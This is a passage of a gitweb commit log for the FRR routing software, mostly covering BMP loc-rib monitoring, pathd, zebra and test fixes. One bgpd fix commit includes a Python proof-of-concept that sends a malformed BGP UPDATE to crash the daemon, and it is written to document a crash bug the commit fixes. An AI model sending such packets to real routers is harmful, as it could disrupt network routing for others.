]> git.puffer.fish Git - mirror/frr.git/log
mirror/frr.git
17 months agotests: extend the bmp test to support bmp loc-rib 11800/head
Farid MIHOUB [Fri, 11 Aug 2023 14:18:17 +0000 (16:18 +0200)]
tests: extend the bmp test to support bmp loc-rib

Configure the bmp monitor unicast loc-rib.
Check the logging messages for the updated/withdrawn prefixes with
the presence of the loc-rib peer-type.

Signed-off-by: Farid MIHOUB <farid.mihoub@6wind.com>
17 months agotests: rework bmp policy message logging
Farid MIHOUB [Fri, 11 Aug 2023 14:11:03 +0000 (16:11 +0200)]
tests: rework bmp policy message logging

Add "policy" field to the logged bmp messages so policy checks within
topotests would be easier and clearer.

Signed-off-by: Farid MIHOUB <farid.mihoub@6wind.com>
17 months agobgpd: bmp unset v6 flag + address PR#14188 comments
Maxence Younsi [Mon, 11 Sep 2023 12:51:45 +0000 (14:51 +0200)]
bgpd: bmp unset v6 flag + address PR#14188 comments

use CHECK_FLAG
fix comment spaces
change zlog_debug to zlog_warn
safeguard on updated_route
added doc/developer/bmp.rst to subdir.am
other qol changes

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: skip bmp messages when vrf id is unknown
Maxence Younsi [Mon, 6 Feb 2023 16:30:28 +0000 (17:30 +0100)]
bgpd: skip bmp messages when vrf id is unknown

changed result type of bmp_get_peer_distinguisher to int
added result pointer parameter to bmp_get_peer_distinguisher
bmp_get_peer_distinguisher returns 0 means the result is valid else
  error occured do not use result

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: loc-rib uptime moved to bgp_path_info_extra and set in header
mxyns [Wed, 28 Sep 2022 06:05:25 +0000 (08:05 +0200)]
bgpd: loc-rib uptime moved to bgp_path_info_extra and set in header

moved loc-rib uptime field "bgp_rib_uptime" to struct bgp_path_info_extra for memory concerns
moved logic into bgp_route_update's callback bmp_route_update
written timestamp in per peer header

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: applied styling and fixed warnings
mxyns [Fri, 12 Aug 2022 16:00:38 +0000 (18:00 +0200)]
bgpd: applied styling and fixed warnings

frrbot found style &/| linter errors
fixed bmp_process_one return value warnings and added safety checks
fixed const modifier warning in bmp_put_vrftablename_info_tlv
added unused attribute to bmp_put_vrftablename_info_tlv
remove unused variables in bmp_process_one and bmp_route_update

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: bmp locrib monitoring unlock node after lookup
Maxou [Fri, 12 Aug 2022 14:45:05 +0000 (16:45 +0200)]
bgpd: bmp locrib monitoring unlock node after lookup

bgp_afi_node_lookup calls bgp_node_lookup which locks the node, unlocking it safely after function is finished

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: Update bmp.rst documentation
Maxou [Mon, 8 Aug 2022 18:34:45 +0000 (20:34 +0200)]
bgpd: Update bmp.rst documentation

added documentation for the current state of the bmp implementation

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: refactored bmp_route_update & cleanup TODOs
Maxou [Mon, 8 Aug 2022 12:32:38 +0000 (14:32 +0200)]
bgpd: refactored bmp_route_update & cleanup TODOs

TODOs that are done/un-necessary now deleted
refactored bmp_route_update to use a modified bmp_process_one function call instead of duplicating similar code

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: removed temporary dev logs
Maxou [Mon, 8 Aug 2022 11:44:24 +0000 (13:44 +0200)]
bgpd: removed temporary dev logs

dev logs cleanup

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: cleanup bmp_get_peer_distinguisher function
Maxou [Mon, 8 Aug 2022 11:39:17 +0000 (13:39 +0200)]
bgpd: cleanup bmp_get_peer_distinguisher function

cleaner implementation and use of the new get peer distinguisher function
can be now used for other cases of RFC7854 that are not supported atm

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: beginning to add rib_uptime field for loc-rib timestamp
mxyns [Fri, 29 Jul 2022 18:06:08 +0000 (20:06 +0200)]
bgpd: beginning to add rib_uptime field for loc-rib timestamp

added time_t field to bgp_path_info
set value before bgp dp hook is called
value not set in the msg yet, testing and double checking is needed before

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: temporary set timestamp to 0 for loc rib monitoring messages
mxyns [Fri, 29 Jul 2022 15:41:30 +0000 (17:41 +0200)]
bgpd: temporary set timestamp to 0 for loc rib monitoring messages

set timestamp to 0 for loc rib monitoring messages as path selection time is not available atm
this is temporary and tv is meant to be set to the path selection/install time at some point

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: bmp loc-rib end-of-rib message add peer distinguisher
mxyns [Thu, 28 Jul 2022 16:54:10 +0000 (18:54 +0200)]
bgpd: bmp loc-rib end-of-rib message add peer distinguisher

added peer distinguisher for BMP_PEER_TYPE_LOC_RIB_INSTANCE in bmp_eor

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: safer vrf/table name (RFC9069) info tlv
mxyns [Thu, 28 Jul 2022 16:23:14 +0000 (18:23 +0200)]
bgpd: safer vrf/table name (RFC9069) info tlv

vrf_id_to_name is used for display values only and returns "Unknown" when the vrf is not found
doing a manual lookup and not providing any tlv when the vrf is not found should be better

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: bmp loc-rib RFC9069 compliant monitoring messages
mxyns [Thu, 28 Jul 2022 14:11:47 +0000 (16:11 +0200)]
bgpd: bmp loc-rib RFC9069 compliant monitoring messages

set field peer bgp id to the peer's remote id in every case except loc-rib (RFC9069 case) in which we put the bgp instance's router-id if available or 0-filled if not available
set field peer asn to local primary bgp asn in case of loc-rib instance (RFC9069) else it's set to the peer's asn
set field peer address to 0 in loc-rib instance (RFC9069 case) and to the peer's address in other cases
had to pass struct bgp reference to bmp_per_peer_hdr to access router-id and such, but it's always safely accessed when used

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: bmp set peer distinguisher with RD
mxyns [Wed, 27 Jul 2022 18:40:13 +0000 (20:40 +0200)]
bgpd: bmp set peer distinguisher with RD

peer distinguisher set to vrf RD if there is one or to vrf_id if in a vrf
set to 0 if in default vrf

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: bmp afi/safi sync for loc-rib
mxyns [Wed, 27 Jul 2022 15:56:00 +0000 (17:56 +0200)]
bgpd: bmp afi/safi sync for loc-rib

added afi/safi monitoring synchronisation for loc-rib
added peer_type_flag to bmp_eor signature, only set to BMP_PEER_TYPE_LOC_RIB and to 0 in other cases like it was before
updated tracelog to include peer_type_flag value

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: fixed bmp vpnv4 monitoring withdraws instead of updates
mxyns [Tue, 26 Jul 2022 16:15:17 +0000 (18:15 +0200)]
bgpd: fixed bmp vpnv4 monitoring withdraws instead of updates

vpnv4 monitoring always sends withdraws bc of wrong lookup call, fixes this

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: peer distinguisher set to vrf id
mxyns [Mon, 25 Jul 2022 09:13:52 +0000 (11:13 +0200)]
bgpd: peer distinguisher set to vrf id

set peer distinguisher to vrf id temporarily until i find out how to use the rd set for export on the vrf instance associated to this bgp instance

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: correct loc rib update queue cleanup
mxyns [Fri, 22 Jul 2022 10:16:29 +0000 (12:16 +0200)]
bgpd: correct loc rib update queue cleanup

empties out and free the locrib specific queue's memory on bmp_close call

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: peer flag set for loc-rib monitoring (left set to 0 in other cases)
mxyns [Fri, 22 Jul 2022 10:13:36 +0000 (12:13 +0200)]
bgpd: peer flag set for loc-rib monitoring (left set to 0 in other cases)

set peer type flag to 3 for loc rib monitoring
leave to 0 in other cases like before, even though RFC7854 tells us to set it to 0 1 or 2 depending on the case global/rd/local instance

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agobgpd: basic loc rib monitoring (no syncing yet, not rfc compliant encoding)
Maxence Younsi [Fri, 22 Jul 2022 10:12:35 +0000 (12:12 +0200)]
bgpd: basic loc rib monitoring (no syncing yet, not rfc compliant encoding)

bmp loc rib monitoring rfc 9069 debuts, loc-rib monitoring draft/poc

Signed-off-by: Maxence Younsi <mx.yns@outlook.fr>
17 months agoMerge pull request #14728 from FRIDM636/rework_debug_pathd_pcep
Donald Sharp [Fri, 3 Nov 2023 22:08:17 +0000 (18:08 -0400)]
Merge pull request #14728 from FRIDM636/rework_debug_pathd_pcep

pathd: rework debug pathd pcep command

17 months agoMerge pull request #14723 from opensourcerouting/if_zapi_hooks_convert
Donald Sharp [Fri, 3 Nov 2023 20:36:17 +0000 (16:36 -0400)]
Merge pull request #14723 from opensourcerouting/if_zapi_hooks_convert

lib: convert `if_zapi_callbacks` into actual hooks

17 months agopathd: rework debug pathd pcep command 14728/head
Farid Mihoub [Fri, 3 Nov 2023 12:53:43 +0000 (13:53 +0100)]
pathd: rework debug pathd pcep command

Rework "debug pathd pcep [...]" command to support the following
configurations:
  - configure one debugging log type at a time.
  - deconfigure one debugging log type at a time.
  - configure all debugging logs in one shot.
  - deconfigure all debugging logs in one shot.

Signed-off-by: Farid Mihoub <farid.mihoub@6wind.com>
17 months agolib: convert if_zapi_callbacks into actual hooks 14723/head
David Lamparter [Thu, 2 Nov 2023 20:49:28 +0000 (13:49 -0700)]
lib: convert if_zapi_callbacks into actual hooks

...so that multiple functions can be subscribed.

The create/destroy hooks are renamed to real/unreal because that's what
they *actually* signal.

Signed-off-by: David Lamparter <equinox@opensourcerouting.org>
17 months agoMerge pull request #14717 from opensourcerouting/fix/coverity_issues
Donald Sharp [Thu, 2 Nov 2023 23:26:05 +0000 (19:26 -0400)]
Merge pull request #14717 from opensourcerouting/fix/coverity_issues

A couple coverity issues

17 months agoMerge pull request #14716 from opensourcerouting/fix/eor_should_be_withdraw
Donald Sharp [Thu, 2 Nov 2023 15:19:00 +0000 (11:19 -0400)]
Merge pull request #14716 from opensourcerouting/fix/eor_should_be_withdraw

bgpd: A couple more bgpd crash fixes for malformed packets

17 months agoMerge pull request #14720 from opensourcerouting/fix/apply_black_formatting_frr-reload
Donald Sharp [Thu, 2 Nov 2023 13:50:25 +0000 (09:50 -0400)]
Merge pull request #14720 from opensourcerouting/fix/apply_black_formatting_frr-reload

tools: Apply black formatting for tools/frr-reload.py

17 months agotools: Apply black formatting for tools/frr-reload.py 14720/head
Donatas Abraitis [Thu, 2 Nov 2023 11:39:53 +0000 (13:39 +0200)]
tools: Apply black formatting for tools/frr-reload.py

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
17 months agoMerge pull request #14713 from chiragshah6/mdev1
Donatas Abraitis [Thu, 2 Nov 2023 11:38:23 +0000 (13:38 +0200)]
Merge pull request #14713 from chiragshah6/mdev1

tools: fix frr-reload route-map desc cmd

17 months agobgpd: Fix UNINTENDED_INTEGER_DIVISION for bgp_lp_event_zebra_up() 14717/head
Donatas Abraitis [Wed, 1 Nov 2023 08:29:07 +0000 (10:29 +0200)]
bgpd: Fix UNINTENDED_INTEGER_DIVISION for bgp_lp_event_zebra_up()

CID 1570864.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
17 months agoMerge pull request #14707 from donaldsharp/nocache
Donatas Abraitis [Thu, 2 Nov 2023 10:42:22 +0000 (12:42 +0200)]
Merge pull request #14707 from donaldsharp/nocache

pimd: Ensure upstream points at the correct rpf

17 months agotools: fix frr-reload route-map desc cmd 14713/head
Chirag Shah [Thu, 2 Nov 2023 05:57:03 +0000 (22:57 -0700)]
tools: fix frr-reload route-map desc cmd

Fix frr-reload script to only render 'no description'
rather than 'no description blah'

Ticket:#3650752
Testing:

route-map TEST permit 140
 description rule for PFIX_IPV6_7
 match ipv6 address prefix-list PFIX_IPV6_7
exit
!
end

torc-11# confi t
torc-11(config)# route-map TEST permit 140
torc-11(config-route-map)# no description rule for PFIX_IPV6_7
% Unknown command: no description rule for PFIX_IPV6_7

torc-11(config-route-map)# no description rule
% There is no matched command.
torc-11(config-route-map)# no description
  <cr>
torc-11(config-route-map)# no description
torc-11(config-route-map)#

Using frr-reload failure log:
2023-10-31 00:30:31,972  INFO: Failed to execute route-map TEST permit 140  no description rule for PFIX_IPV6_7 exit
2023-10-31 00:30:31,972 ERROR: "route-map TEST permit 140 --  no description rule for PFIX_IPV6_7 -- exit" we failed to remove this command
2023-10-31 00:30:31,972 ERROR: % Unknown command:  no description rule for PFIX_IPV6_7

With fix:

2023-11-02 06:10:30,024  INFO: Executed "route-map TEST permit 140  no description exit"

Signed-off-by: Chirag Shah <chirag@nvidia.com>
17 months agozebra: Remove vrf_id check against VRF_DEFAULT for zebra_redistribute()
Donatas Abraitis [Wed, 1 Nov 2023 08:21:05 +0000 (10:21 +0200)]
zebra: Remove vrf_id check against VRF_DEFAULT for zebra_redistribute()

A dead code. When `is_table_direct` is true, vrf_id is always VRF_DEFAULT.

So this block is never called.

CID 1570863.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
17 months agoMerge pull request #14546 from adrianomarto/ospf6-point-to-multipoint
Donald Sharp [Tue, 31 Oct 2023 22:20:04 +0000 (18:20 -0400)]
Merge pull request #14546 from adrianomarto/ospf6-point-to-multipoint

OSPF6 point to multipoint

17 months agopimd: Ensure upstream points at the correct rpf 14707/head
Donald Sharp [Tue, 31 Oct 2023 17:06:16 +0000 (13:06 -0400)]
pimd: Ensure upstream points at the correct rpf

In the scenario on an intermediate router where a *,G join has
been received and a S,G stream is being sent through that router
on the *,G stream, there exists a situation when the *,G in has been pruned
but the stream is still being received on on incoming interface towards
the RP for the *,G.   In this situation PIM will see the S,G stream
initially as a NOCACHE from the dataplane, PIM will then do a RPF
for the S and notice that it is supposed to be coming in on adifferent
interface.  In this case PIM the original PIM code would create
a blackhole mroute towards the RPF of the *,G( the interface the
stream is being received on ).  The original reason for this is that
if there is a scenario where this particular S1,G stream is sending
at basically line rate, and there also happens to be a different
S2,G stream that is sending at a very low rate.  With certain
dataplanes there is no way to really rate limit the S1 -vs- S2
stream and the S1 stream completely overwhelms the S2 stream
for sending up to the control plane for proper pim handling.
The problem then becomes that FRR never properly responds
to the situation where the *,G is rereceived and the S,G
stream switches back over to the SPT for itself and FRR ends
up with a dead mroute that stops everything from working properly.

This code change, installs the blackhole mroute with the RPF
towards the RP for the G and then resets the RPF to the correct
RPF for the Stream but does not modify the mroute.  When the
*,G is rereceived and we attempt to transition to the S,G stream
this now works.

As a note:  Both David L and myself do not necessarily believe
we fully understand the problem yet.  What this does do is fix
all the inconsistent CI issues we are seeing in the topotests
at this time.  Internally I am seeing other test failures
in PIM that I don't fully understand and we suspect that
there are other problems in the state machine.  We plan to
revisit this problem as we are able to debug the issue better.
In the meantime both David and Myself agree that this gets
the CI working again and Streams end up in the right state.

Signed-off-by: Donald Sharp <sharpd@nvidia.com>
17 months agoMerge pull request #14388 from pguibert6WIND/redistribute_table_bgp_2
Russ White [Tue, 31 Oct 2023 17:23:57 +0000 (13:23 -0400)]
Merge pull request #14388 from pguibert6WIND/redistribute_table_bgp_2

Redistribute table bgp without copying data to the default routing table

17 months agoMerge pull request #14699 from FRIDM636/no_commands_pcep_msd
Donald Sharp [Tue, 31 Oct 2023 16:04:21 +0000 (12:04 -0400)]
Merge pull request #14699 from FRIDM636/no_commands_pcep_msd

Add missing pcep no commands

17 months agoMerge pull request #14700 from mjstapp/fix_devdoc_bits
Donald Sharp [Tue, 31 Oct 2023 16:01:53 +0000 (12:01 -0400)]
Merge pull request #14700 from mjstapp/fix_devdoc_bits

docs: clean up some developer doc warnings

17 months agobgpd: Ignore handling NLRIs if we received MP_UNREACH_NLRI 14716/head
Donatas Abraitis [Sun, 29 Oct 2023 20:44:45 +0000 (22:44 +0200)]
bgpd: Ignore handling NLRIs if we received MP_UNREACH_NLRI

If we receive MP_UNREACH_NLRI, we should stop handling remaining NLRIs if
no mandatory path attributes received.

In other words, if MP_UNREACH_NLRI received, the remaining NLRIs should be handled
as a new data, but without mandatory attributes, it's a malformed packet.

In normal case, this MUST not happen at all, but to avoid crashing bgpd, we MUST
handle that.

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
17 months agobgpd: Treat EOR as withdrawn to avoid unwanted handling of malformed attrs
Donatas Abraitis [Fri, 27 Oct 2023 08:56:45 +0000 (11:56 +0300)]
bgpd: Treat EOR as withdrawn to avoid unwanted handling of malformed attrs

Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:

```
router bgp 65001
 no bgp ebgp-requires-policy
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 !
 address-family ipv4 unicast
  neighbor 127.0.0.1 addpath-tx-all-paths
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
exit
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Send a malformed optional transitive attribute:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
17 months agoMerge pull request #14675 from donaldsharp/evpn_label
Russ White [Tue, 31 Oct 2023 15:12:34 +0000 (11:12 -0400)]
Merge pull request #14675 from donaldsharp/evpn_label

zebra: Add encap type when building packet for FPM

17 months agoMerge pull request #14661 from opensourcerouting/feature/enable_enforce_first_as_by_d...
Russ White [Tue, 31 Oct 2023 14:40:23 +0000 (10:40 -0400)]
Merge pull request #14661 from opensourcerouting/feature/enable_enforce_first_as_by_default

bgpd: Enable `enforce-first-as` by default

17 months agoMerge pull request #14648 from donaldsharp/import_no_no_no
Russ White [Tue, 31 Oct 2023 14:34:30 +0000 (10:34 -0400)]
Merge pull request #14648 from donaldsharp/import_no_no_no

bgpd: combine import_check_table and nexthop_check_table

17 months agoMerge pull request #14343 from pguibert6WIND/bgp_label_manual_allocate_label_mgr
Russ White [Tue, 31 Oct 2023 14:31:11 +0000 (10:31 -0400)]
Merge pull request #14343 from pguibert6WIND/bgp_label_manual_allocate_label_mgr

Bgp label manual allocate label mgr

17 months agodocs: clean up some developer doc warnings 14700/head
Mark Stapp [Tue, 31 Oct 2023 13:57:13 +0000 (09:57 -0400)]
docs: clean up some developer doc warnings

A few fixups to clean up some dev doc warnings, in the
northbound files especially.

Signed-off-by: Mark Stapp <mjs@labn.net>
17 months agopathd: add no pcep command 14699/head
Farid Mihoub [Tue, 31 Oct 2023 10:35:29 +0000 (11:35 +0100)]
pathd: add no pcep command

Add "no pcep" command in segment-routing/traffic-engineering context
to deconfigure the whole pcep configuration (pce-config, pce and pcc).

Signed-off-by: Farid Mihoub <farid.mihoub@6wind.com>
17 months agopathd: add no msd command in the pcc context
Farid Mihoub [Mon, 30 Oct 2023 14:11:47 +0000 (15:11 +0100)]
pathd: add no msd command in the pcc context

Add the "no msd" command to deconfigure pcc/msd node.

Signed-off-by: Farid Mihoub <farid.mihoub@6wind.com>
18 months agoMerge pull request #14691 from LabNConsulting/fix-mgmt-msg-valgrind-errors
Donald Sharp [Mon, 30 Oct 2023 20:53:58 +0000 (16:53 -0400)]
Merge pull request #14691 from LabNConsulting/fix-mgmt-msg-valgrind-errors

lib: mgmt_msg: fix a valgrind memleak

18 months agoMerge pull request #14689 from LabNConsulting/topotest-with-valgrind-and-gdb
Donald Sharp [Mon, 30 Oct 2023 20:51:32 +0000 (16:51 -0400)]
Merge pull request #14689 from LabNConsulting/topotest-with-valgrind-and-gdb

tests: add gdb integration with valgrind

18 months agoMerge pull request #14688 from opensourcerouting/fix/ospf_spacing_nit
Mark Stapp [Mon, 30 Oct 2023 12:49:03 +0000 (08:49 -0400)]
Merge pull request #14688 from opensourcerouting/fix/ospf_spacing_nit

ospfd, ospf6d: Fix spacing nit for `show ... summary-address` command

18 months agotests: add gdb integration with valgrind 14689/head
Christian Hopps [Mon, 30 Oct 2023 07:37:52 +0000 (03:37 -0400)]
tests: add gdb integration with valgrind

Allows you to run daemons under valgrind integrated with gdb. When daemons are
run with the ``--gdb-daemons/--gdb-routers`` options they will be wired up to
valgrind using vgdb (valgrind tool) so gdb will stop when valgrind errors are
encountered.

Signed-off-by: Christian Hopps <chopps@labn.net>
18 months agolib: mgmt_msg: fix a valgrind memleak 14691/head
Christian Hopps [Mon, 30 Oct 2023 07:30:05 +0000 (03:30 -0400)]
lib: mgmt_msg: fix a valgrind memleak

- Free the outbound stream on destroy.

Signed-off-by: Christian Hopps <chopps@labn.net>
18 months agoMerge pull request #13576 from chiragshah6/mdev1
Donatas Abraitis [Mon, 30 Oct 2023 06:55:49 +0000 (08:55 +0200)]
Merge pull request #13576 from chiragshah6/mdev1

zebra:returns empty dict when evpn is disabled II

18 months agoospfd, ospf6d: Fix spacing nit for `show ... summary-address` command 14688/head
Donatas Abraitis [Mon, 30 Oct 2023 06:39:21 +0000 (08:39 +0200)]
ospfd, ospf6d: Fix spacing nit for `show ... summary-address` command

```
r1# sh ipv6 ospf6 summary-address
VRF Name: default
aggregation delay interval :5(in seconds)
```

Just hit this random and looks ugly, let's fix it.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14681 from chiragshah6/pbr_dev
Donatas Abraitis [Mon, 30 Oct 2023 06:30:33 +0000 (08:30 +0200)]
Merge pull request #14681 from chiragshah6/pbr_dev

zebra: display ptmStatus order in interface json

18 months agoMerge pull request #14635 from opensourcerouting/fix/ospf6d_loopback_cost
mobash-rasool [Mon, 30 Oct 2023 04:19:58 +0000 (09:49 +0530)]
Merge pull request #14635 from opensourcerouting/fix/ospf6d_loopback_cost

ospf6d: Set loopback interface cost to 0

18 months agozebra: display ptmStatus order in interface json 14681/head
Sindhu Parvathi Gopinathan [Wed, 24 Aug 2022 16:17:57 +0000 (09:17 -0700)]
zebra: display ptmStatus order in interface json

Display ptmStatus in correct order in show interface json
output.

Signed-off-by: Sindhu Parvathi Gopinathan's <sgopinathan@nvidia.com>
18 months agozebra:returns empty dict when evpn is disabled II 13576/head
Sindhu Parvathi Gopinathan [Tue, 4 Apr 2023 12:38:28 +0000 (05:38 -0700)]
zebra:returns empty dict when evpn is disabled II

This is addressing remaining places returning
empty dict, earlier PR-13214 addressed few places.

Code has been changed to return {} for all the evpn clis
when evpn is disabled or no entry available.

```
cumulus@r2:mgmt:~$ sudo vtysh -c "show evpn json"
cumulus@r2:mgmt:~$
```

After Fix:-
```
cumulus@r1:mgmt:~$ sudo vtysh -c "show evpn json"
{
}
cumulus@r1:mgmt:~$
```

Ticket:#3417955

Issue:3417955

Testing: UT done

Signed-off-by: Sindhu Parvathi Gopinathan's <sgopinathan@nvidia.com>
Signed-off-by: Chirag Shah <chirag@nvidia.com>
18 months ago*: modify empty json helper function
Chirag Shah [Sun, 29 Oct 2023 18:20:37 +0000 (11:20 -0700)]
*: modify empty json helper function

Modify empty json object to take input obj
instead of allocating always one.

There are situation where in error condition or no data
case print empty json (`{}`) with already allocated

Signed-off-by: Chirag Shah <chirag@nvidia.com>
18 months agoMerge pull request #14665 from chiragshah6/pbr_dev
Donatas Abraitis [Sun, 29 Oct 2023 08:40:50 +0000 (10:40 +0200)]
Merge pull request #14665 from chiragshah6/pbr_dev

pbrd: fix show pbr map detail json

18 months agozebra: Add encap type when building packet for FPM 14675/head
Donald Sharp [Sat, 28 Oct 2023 14:03:39 +0000 (10:03 -0400)]
zebra: Add encap type when building packet for FPM

Currently in the single nexthop case w/ evpn sending
down via the FPM the encap type is not being set
for the nexthop.

This looks like the result of some code reorg for the
nexthop happened but the fpm failed to be accounted for.
Let's just move the encap type encoding to where it
will happen.

Signed-off-by: Donald Sharp <sharpd@nvidia.com>
18 months agoospf6: Applying clang-format 14546/head
Adriano Marto Reis [Sat, 28 Oct 2023 06:16:24 +0000 (16:16 +1000)]
ospf6: Applying clang-format

Applying clang-format to the original commits.

Signed-off-by: Adriano Marto Reis <adrianomarto@gmail.com>
18 months agoospf6: removing double-including of ospf6_neighbor.h
Adriano Marto Reis [Sat, 28 Oct 2023 05:39:36 +0000 (15:39 +1000)]
ospf6: removing double-including of ospf6_neighbor.h

Moving ospf6_if_p2xp_neighcfg to ospf6_interface.h so we don't need to
include ospf6_neighbor.h.

Signed-off-by: Adriano Marto Reis <adrianomarto@gmail.com>
18 months agodoc: fix pbr map detail json 14665/head
Chirag Shah [Fri, 27 Oct 2023 15:06:27 +0000 (08:06 -0700)]
doc: fix pbr map detail json

Fix the documentation for the pbr map command with
correct syntax.

Signed-off-by: Chirag Shah <chirag@nvidia.com>
18 months agopbrd: fix show pbr map detail json
Sindhu Parvathi Gopinathan [Mon, 23 Oct 2023 05:59:06 +0000 (22:59 -0700)]
pbrd: fix show pbr map detail json

'detail' and 'josn' keyword is given as an optional parameter
for cli arguments. Hence 'detail' keyword was consider as a
pbr 'name' for "show pbr map detail json" command.

Before Fix:

```
cumulus#
cumulus# show pbr map detail json
[
]
cumulus#
```

After Fix:
```
cumulus# show pbr map detail json
[
  {
    "name":"MAP1",
    "valid":false,
    "policies":[
      {
        "id":1,
        "sequenceNumber":10,
        "ruleNumber":309,
        "vrfUnchanged":false,
        "installed":false,
        "installedReason":"Invalid Src or Dst",
        "vrfName":"default"
      }
    ]
  }
]
cumulus#
```

Ticket:#3638600

Issue:3638600

Testing: UT done

Signed-off-by: Sindhu Parvathi Gopinathan's <sgopinathan@nvidia.com>
18 months agoMerge pull request #14662 from opensourcerouting/fix/drop_broken_tests
Donald Sharp [Fri, 27 Oct 2023 14:14:40 +0000 (10:14 -0400)]
Merge pull request #14662 from opensourcerouting/fix/drop_broken_tests

tests: Drop a couple unnecessary unit tests

18 months agoMerge pull request #14663 from LabNConsulting/chopps/grpc-utfix
Donatas Abraitis [Fri, 27 Oct 2023 12:36:07 +0000 (15:36 +0300)]
Merge pull request #14663 from LabNConsulting/chopps/grpc-utfix

tests: have unit-test check more paths for the grpc.so module

18 months agobgpd: Enable `enforce-first-as` by default 14661/head
Donatas Abraitis [Thu, 26 Oct 2023 11:56:52 +0000 (14:56 +0300)]
bgpd: Enable `enforce-first-as` by default

It's been for a while disabled by default, but this seems reasonable to flip it.

We had `bgp enforce-first-as` as a global BGP knob to enable/disable this
behavior globally, later we introduced `enforce-first-as` per neighbor, with disabled
by default. Now let's enable this by default by bringing a global `bgp enforce-first-as`
command back.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Disable debug log for bgp_vpnv4_asbr.r2
Donatas Abraitis [Fri, 27 Oct 2023 11:08:10 +0000 (14:08 +0300)]
tests: Disable debug log for bgp_vpnv4_asbr.r2

For the same reason as we disable debug logs for CI everywhere.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14664 from LabNConsulting/chopps/ly2-ld-fix
Donatas Abraitis [Fri, 27 Oct 2023 09:55:51 +0000 (12:55 +0300)]
Merge pull request #14664 from LabNConsulting/chopps/ly2-ld-fix

isisd: staticd: need to link directly against libyang

18 months agoisisd: staticd: need to link directly against libyang 14664/head
Christian Hopps [Fri, 27 Oct 2023 02:51:08 +0000 (22:51 -0400)]
isisd: staticd: need to link directly against libyang

Signed-off-by: Christian Hopps <chopps@labn.net>
18 months agotests: have unit-test check more paths for the grpc.so module 14663/head
Christian Hopps [Fri, 27 Oct 2023 01:39:13 +0000 (21:39 -0400)]
tests: have unit-test check more paths for the grpc.so module

Signed-off-by: Christian Hopps <chopps@labn.net>
18 months agobgpd: Drop unnecessary unit test for software-version capability 14662/head
Donatas Abraitis [Thu, 26 Oct 2023 14:24:42 +0000 (17:24 +0300)]
bgpd: Drop unnecessary unit test for software-version capability

It's tested above, and was just copied from extended-nexthop as an example
which is broken too.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Drop broken unit test for extended-nexthop capability
Donatas Abraitis [Thu, 26 Oct 2023 14:20:28 +0000 (17:20 +0300)]
tests: Drop broken unit test for extended-nexthop capability

extended-nexthop capability can't be unset to interface-based peers.

Anyway, this is always silently ignored:

```
